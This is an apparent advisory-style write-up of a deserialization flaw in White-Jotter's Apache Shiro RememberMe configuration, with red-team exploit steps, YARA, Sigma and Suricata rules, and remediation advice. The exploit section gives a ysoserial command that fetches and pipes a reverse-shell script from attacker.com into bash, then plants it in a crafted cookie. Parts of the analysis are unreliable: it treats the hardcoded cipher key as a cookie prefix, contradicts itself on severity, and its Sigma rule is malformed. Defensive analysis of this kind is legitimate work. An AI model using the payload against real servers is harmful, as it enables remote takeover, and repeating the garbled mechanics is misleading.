CVE-2025-8708

Executive Summary

CVE-2025-8708 is a critical deserialization vulnerability in Antabot White-Jotter version 0.22. The flaw resides in the CookieRememberMeManager function within ShiroConfiguration.java, allowing remote attackers to execute arbitrary code via crafted input (EVANNIGHTLY_WAOU). Despite a high attack complexity, a public exploit exists, making this a significant threat. The vendor has not released a patch, and no official advisory is available.

Supply Chain & Package Security

This vulnerability affects a Java-based application (White-Jotter). No NPM, PyPI, Go, or Ruby packages are directly involved. However, the use of Apache Shiro’s RememberMe cookie deserialization mechanism is a known attack vector in the Java ecosystem. Organizations using White-Jotter should treat this as a critical supply chain risk due to the lack of a patch.

CVSS Breakdown & Threat Level

• CVSS Score: 5.0 (Medium) – However, the original description labels it as critical, and the CVSS vector suggests a higher potential impact.
• Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N)
• Attack Complexity: High (AC:H) – Exploitation requires specific conditions.
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Public exploit and no patch available.

Deep Dive & Mechanics

The vulnerability is a classic Java deserialization attack in Apache Shiro’s RememberMe functionality. The CookieRememberMeManager in ShiroConfiguration.java deserializes user-controlled data from the rememberMe cookie without proper validation. By manipulating the cookie value with the string EVANNIGHTLY_WAOU, an attacker can trigger deserialization of malicious objects, leading to remote code execution (RCE).

Root Cause: The ShiroConfiguration.java file uses CookieRememberMeManager which relies on Java serialization. The EVANNIGHTLY_WAOU input likely bypasses weak encryption or signing, allowing arbitrary serialized objects to be deserialized.

Attack Flow:

1. Attacker crafts a malicious serialized Java object (e.g., using ysoserial).
2. The object is base64-encoded and set as the rememberMe cookie value, prefixed with EVANNIGHTLY_WAOU.
3. The server deserializes the cookie, executing the payload.

Vulnerable vs. Patched Code

Vulnerable Code (White-Jotter 0.22):

// ShiroConfiguration.java
@Bean
public RememberMeManager rememberMeManager() {
    CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
    // No cipher key or validation
    cookieRememberMeManager.setCipherKey(Base64.decode("EVANNIGHTLY_WAOU"));
    return cookieRememberMeManager;
}

Patched Code (Hypothetical):

// ShiroConfiguration.java
@Bean
public RememberMeManager rememberMeManager() {
    CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
    // Use a strong, randomly generated cipher key
    cookieRememberMeManager.setCipherKey(KeyGenerator.getInstance("AES").generateKey().getEncoded());
    // Enable encryption and signing
    cookieRememberMeManager.setCipherService(new AesCipherService());
    return cookieRememberMeManager;
}

Key Differences: The vulnerable code uses a hardcoded, weak cipher key (EVANNIGHTLY_WAOU), while the patched version uses a secure random key and proper encryption.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Java Runtime Environment (JRE) 8+
• ysoserial tool (https://github.com/frohoff/ysoserial)
• Target: White-Jotter 0.22 running on a server

Exploit Steps:

1. Generate a malicious serialized payload:

   java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/revshell.sh | bash' > payload.bin
   

2. Base64-encode the payload and prepend the magic string:

   PAYLOAD=$(base64 -w0 payload.bin)
   COOKIE="EVANNIGHTLY_WAOU$PAYLOAD"
   

3. Send the crafted cookie to the target:

   curl -v -b "rememberMe=$COOKIE" http://target.com/login
   

4. The server deserializes the payload, executing the command.

Note: The exact gadget chain may vary depending on the Java version and libraries.

Blue Team

Detection:

• Monitor for rememberMe cookies containing the string EVANNIGHTLY_WAOU.
• Look for anomalous base64-encoded data in cookies.
• Use network detection rules (see Suricata below).

Honeypot:

• Deploy a fake White-Jotter instance to capture attacker payloads.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with Cookie: rememberMe=EVANNIGHTLY_WAOU*
  • Outbound connections to attacker-controlled IPs (e.g., for reverse shells)
• File System:
  • Unexpected files in /tmp/ or /var/tmp/ (e.g., ysoserial payloads)
  • Modified ShiroConfiguration.java or application.properties
• Process:
  • Java processes spawning child processes (e.g., bash, curl)
• Logs:
  • Application logs showing deserialization errors or ClassNotFoundException

Detection Engineering

YARA Rule

rule CVE_2025_8708_Deserialization {
    meta:
        description = "Detects CVE-2025-8708 exploit attempts via rememberMe cookie"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $magic = "EVANNIGHTLY_WAOU"
        $base64 = /[A-Za-z0-9+/=]{50,}/
    condition:
        $magic and #base64 > 0
}

Sigma Rule

title: CVE-2025-8708 Exploit Attempt
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with malicious rememberMe cookie
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET' or 'POST'
        cs-uri-query|contains: '/login'
        cs-cookie|contains: 'EVANNIGHTLY_WAOU'
    condition: selection
falsepositives:
    - Legitimate use of the string in non-exploit contexts (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8708 Exploit Attempt"; flow:to_server; content:"EVANNIGHTLY_WAOU"; http_cookie; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network.
2. Disable the RememberMe functionality in ShiroConfiguration.java:

   // Comment out or remove the RememberMeManager bean
   

3. Apply a Web Application Firewall (WAF) rule to block cookies containing EVANNIGHTLY_WAOU.

Long-term Fix:

• Upgrade to a patched version (if available) or migrate to a different authentication mechanism.
• Implement proper input validation and use secure deserialization libraries (e.g., Jackson with @JsonTypeInfo).

Workaround:

• Use a reverse proxy to strip the rememberMe cookie or validate its content.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert